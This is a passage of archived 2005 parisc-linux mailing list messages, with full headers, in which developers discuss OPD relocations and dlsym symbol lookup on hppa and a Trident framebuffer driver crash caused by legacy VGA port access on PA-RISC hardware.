X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFCC77D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:40:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08526-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:40:58 -0600 (MDT)
Original-Received: from smtp813.mail.sc5.yahoo.com (smtp813.mail.sc5.yahoo.com
	[66.163.170.83])
	by free.linux.hp.com (Postfix) with SMTP id 10D037D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:40:58 -0600 (MDT)
Original-Received: (qmail 71626 invoked from network); 20 Jun 2005 20:40:57 -0000
Original-Received: from unknown (HELO lucon.org) (hjjean@sbcglobal.net@69.232.224.125
	with login)
	by smtp813.mail.sc5.yahoo.com with SMTP; 20 Jun 2005 20:40:57 -0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id 71D7E64272; Mon, 20 Jun 2005 13:40:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uUzFYhoUeSEkWr6WZHQhaXN1IGRvb0C1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22785

On Mon, Jun 20, 2005 at 04:26:25PM -0400, John David Anglin wrote:
> > > Under hppa-linux:
> > > ------------------
> > > We want to generate a PLABEL32 (OPD reloc) against all global symbols,
> > > and then some. For example it should be possible for an application to
> > > call dlsym asking for the address of main, and when compared to main it
> > > should match.
> > > 
> > 
> > Does it work on Linux/ia32? If not, why should it work on Linux/hppa?
> 
> The linux manpage for dlsym indicates that symbols in the main
> program can be looked up with dlsym:
> 
>      If filename is a NULL pointer, then the returned handle is
>      for the main program.  When given to dlsym(), this  handle
>      causes a search for a symbol in the main program, followed
>      by all shared libraries loaded  at  program  startup,  and
>      then all shared libraries loaded by dlopen() with the flag
>      RTLD_GLOBAL.
> 
> So, if it doesn't work, that would seem to be a bug in Linux/ia32.

It works if the global symbol is exported. But not all global symbols
in main are exported by default. You can use --export-dynamic to export
all global symbols.


H.J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Mon, 20 Jun 2005 14:45:19 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200506201445.19818.bjorn.helgaas@hp.com>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050615190616.GA29652@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623806 14869 80.91.229.3 (22 Nov 2014 02:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 20:45:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 20 Jun 2005 22:45:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86B827D6BC;
	Mon, 20 Jun 2005 14:45:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08812-05; Mon, 20 Jun 2005 14:45:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 586DB7D6CA;
	Mon, 20 Jun 2005 14:45:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 168AE7D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:45:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08802-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:45:46 -0600 (MDT)
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by free.linux.hp.com (Postfix) with ESMTP id 929967D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 14:45:46 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel7.hp.com (Postfix) with ESMTP id 507641CA87;
	Mon, 20 Jun 2005 16:45:28 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id A4CFD420483; Mon, 20 Jun 2005 20:45:22 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 7367C1341E6;
	Mon, 20 Jun 2005 14:45:22 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 23002-08; Mon, 20 Jun 2005 14:45:21 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 52EAE1341E5;
	Mon, 20 Jun 2005 14:45:21 -0600 (MDT)
User-Agent: KMail/1.8
In-Reply-To: <20050615190616.GA29652@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VU7FYlZyeSEkYb6WZHQhaXN1IGRvb4Aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22786

On Wednesday 15 June 2005 1:06 pm, Grant Grundler wrote:
> The HPMC occurs when tridentfb.c tries to poke at:
>         if (chip_id == TGUI9660) {
>                 outb(RevisionID,0x3C4);
>                 revision = inb(0x3C5);
> ...	
> 
> This generally can't work on parisc.
> Only if the trident card is plugged in under PCI bus 0.
> The driver needs to map the hard coded address to some PCI resource.

0x3C4 and 0x3C5 are in the legacy VGA port range.  Does Astro have
programmable routing for that range?  If so, this could probably
be made to work with enough kernel support.  I'm working on some
similar stuff for ia64.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Mon, 20 Jun 2005 17:29:13 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20050620212913.GL5269__9439.86458373747$1416623807$gmane$org@systemhalted.org>
References: <20050620191501.GA31614@lucon.org>
	<200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
	<20050620204056.GA351@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623807 14878 80.91.229.3 (22 Nov 2014 02:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:47 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: "H. J. Lu" <hjl@lucon.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 21:29:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 20 Jun 2005 23:29:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA8A07D6D1;
	Mon, 20 Jun 2005 15:29:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09088-07; Mon, 20 Jun 2005 15:29:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0B417D6D2;
	Mon, 20 Jun 2005 15:29:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 516FD7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 15:29:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09088-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 15:29:45 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C43CE7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 15:29:45 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DkTpS-00047x-00; Mon, 20 Jun 2005 17:29:14 -0400
Content-Disposition: inline
In-Reply-To: <20050620204056.GA351@lucon.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BFDFYlA1eSEkab6WZHQhaXN1IGRvb8Ar
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22787

On Mon, Jun 20, 2005 at 01:40:56PM -0700, H. J. Lu wrote:
> On Mon, Jun 20, 2005 at 04:26:25PM -0400, John David Anglin wrote:
> > > > Under hppa-linux:
> > > > ------------------
> > > > We want to generate a PLABEL32 (OPD reloc) against all global symbols,
> > > > and then some. For example it should be possible for an application to
> > > > call dlsym asking for the address of main, and when compared to main it
> > > > should match.
> > > > 
> > > 
> > > Does it work on Linux/ia32? If not, why should it work on Linux/hppa?
> > 
> > The linux manpage for dlsym indicates that symbols in the main
> > program can be looked up with dlsym:
> > 
> >      If filename is a NULL pointer, then the returned handle is
> >      for the main program.  When given to dlsym(), this  handle
> >      causes a search for a symbol in the main program, followed
> >      by all shared libraries loaded  at  program  startup,  and
> >      then all shared libraries loaded by dlopen() with the flag
> >      RTLD_GLOBAL.
> > 
> > So, if it doesn't work, that would seem to be a bug in Linux/ia32.
> 
> It works if the global symbol is exported. But not all global symbols
> in main are exported by default. You can use --export-dynamic to export
> all global symbols.

Regardless of wether or not I export all global symbols in main, I must
still emit OPD relocs in the executable for all dynamic symbols. In the
past the OPD reloc was "fudged" and pointed at the PLT, and this is not
a satisfactory situation. I want ld.so.1 to generate the OPD so we no
longer need gcc to emit the __cffc helper function for comparisons.

I owe you a big thank you for writing the generic function
descriptor code in glibc, since hppa is also using that code :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. J. Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
	and then some.
Date: Mon, 20 Jun 2005 15:46:10 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20050620224610.GA2198__5283.98397514156$1416623807$gmane$org@lucon.org>
References: <20050620191501.GA31614@lucon.org>
	<200506202026.j5KKQPb7007471@hiauly1.hia.nrc.ca>
	<20050620204056.GA351@lucon.org>
	<20050620212913.GL5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623807 14886 80.91.229.3 (22 Nov 2014 02:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:47 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2005 22:46:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 21 Jun 2005 00:46:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BDDB7D6DC;
	Mon, 20 Jun 2005 16:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09654-09; Mon, 20 Jun 2005 16:46:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0602B7D6D8;
	Mon, 20 Jun 2005 16:46:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD077D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 16:46:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09658-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 16:46:13 -0600 (MDT)
Original-Received: from smtp814.mail.sc5.yahoo.com (smtp814.mail.sc5.yahoo.com
	[66.163.170.84])
	by free.linux.hp.com (Postfix) with SMTP id 370667D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 16:46:13 -0600 (MDT)
Original-Received: (qmail 91399 invoked from network); 20 Jun 2005 22:46:11 -0000
Original-Received: from unknown (HELO lucon.org) (hjjean@sbcglobal.net@69.232.224.125
	with login)
	by smtp814.mail.sc5.yahoo.com with SMTP; 20 Jun 2005 22:46:11 -0000
Original-Received: by lucon.org (Postfix, from userid 1000)
	id 8CA7864272; Mon, 20 Jun 2005 15:46:10 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050620212913.GL5269@systemhalted.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FyLFYq0WeSEkcL6WZHQhaXN1IGRvbwCB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22788

On Mon, Jun 20, 2005 at 05:29:13PM -0400, Carlos O'Donell wrote:
> On Mon, Jun 20, 2005 at 01:40:56PM -0700, H. J. Lu wrote:
> > On Mon, Jun 20, 2005 at 04:26:25PM -0400, John David Anglin wrote:
> > > > > Under hppa-linux:
> > > > > ------------------
> > > > > We want to generate a PLABEL32 (OPD reloc) against all global symbols,
> > > > > and then some. For example it should be possible for an application to
> > > > > call dlsym asking for the address of main, and when compared to main it
> > > > > should match.
> > > > > 
> > > > 
> > > > Does it work on Linux/ia32? If not, why should it work on Linux/hppa?
> > > 
> > > The linux manpage for dlsym indicates that symbols in the main
> > > program can be looked up with dlsym:
> > > 
> > >      If filename is a NULL pointer, then the returned handle is
> > >      for the main program.  When given to dlsym(), this  handle
> > >      causes a search for a symbol in the main program, followed
> > >      by all shared libraries loaded  at  program  startup,  and
> > >      then all shared libraries loaded by dlopen() with the flag
> > >      RTLD_GLOBAL.
> > > 
> > > So, if it doesn't work, that would seem to be a bug in Linux/ia32.
> > 
> > It works if the global symbol is exported. But not all global symbols
> > in main are exported by default. You can use --export-dynamic to export
> > all global symbols.
> 
> Regardless of wether or not I export all global symbols in main, I must
> still emit OPD relocs in the executable for all dynamic symbols. In the
						^^^^^^^^^^

Did you mean dynamic or global? There is a big difference. In your
proposal, you said "We want to generate a PLABEL32 (OPD reloc) against
all global symbols,". I am not familiar with HPPA. I just want to know
what you have in mind.

> past the OPD reloc was "fudged" and pointed at the PLT, and this is not
> a satisfactory situation. I want ld.so.1 to generate the OPD so we no
> longer need gcc to emit the __cffc helper function for comparisons.


H.J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Mon, 20 Jun 2005 20:06:05 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <20050621020605.GB12189@colo.lackof.org>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050615190616.GA29652@colo.lackof.org>
	<200506201445.19818.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623807 14891 80.91.229.3 (22 Nov 2014 02:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 02:02:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Jun 2005 04:02:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 483A57D60F;
	Mon, 20 Jun 2005 20:02:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10789-06; Mon, 20 Jun 2005 20:02:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37C567D611;
	Mon, 20 Jun 2005 20:02:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 219BB7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:02:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10738-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:02:06 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 873067D423
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Jun 2005 20:02:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AD2A7298034;
	Mon, 20 Jun 2005 20:06:06 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19835-08; Mon, 20 Jun 2005 20:06:05 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3CE0929802F; Mon, 20 Jun 2005 20:06:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200506201445.19818.bjorn.helgaas@hp.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cBDFYlI4eSEkSL6WZHQhaXN1IGRvb4Dn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22789

On Mon, Jun 20, 2005 at 02:45:19PM -0600, Bjorn Helgaas wrote:
> On Wednesday 15 June 2005 1:06 pm, Grant Grundler wrote:
> > The HPMC occurs when tridentfb.c tries to poke at:
> >         if (chip_id == TGUI9660) {
> >                 outb(RevisionID,0x3C4);
> >                 revision = inb(0x3C5);
> > ...	
> > 
> > This generally can't work on parisc.
> > Only if the trident card is plugged in under PCI bus 0.
> > The driver needs to map the hard coded address to some PCI resource.
> 
> 0x3C4 and 0x3C5 are in the legacy VGA port range.

Bjorn,
ok - thanks for the follow up.

> Does Astro have programmable routing for that range?

Supposedly yes. But it was never verified by the HW teams and
I've been told that it is in fact broken.

If someone wants to poke at this anyway, the "STATUS_CONTROL"
register documented in:
	http://ftp.parisc-linux.org/docs/chips/elroy_ers.ps

describes the "VGA Enable bit":
| VGA Enable (bit 3, 0x8)
|    If ve = 1, VGA frame buffer and IOP space accesses will never be
|    claimed by ELROY, regardless of range register programming. This bit
|    must be set if a VGA device is located on this PCI bus. Only one
|    ELROY in the system should have its ve bit set.
|    If ve = 0, ELROY may claim VGA space, depending on range register
|    programming.

ie a "directed range" could be programmed to redirect accesses from
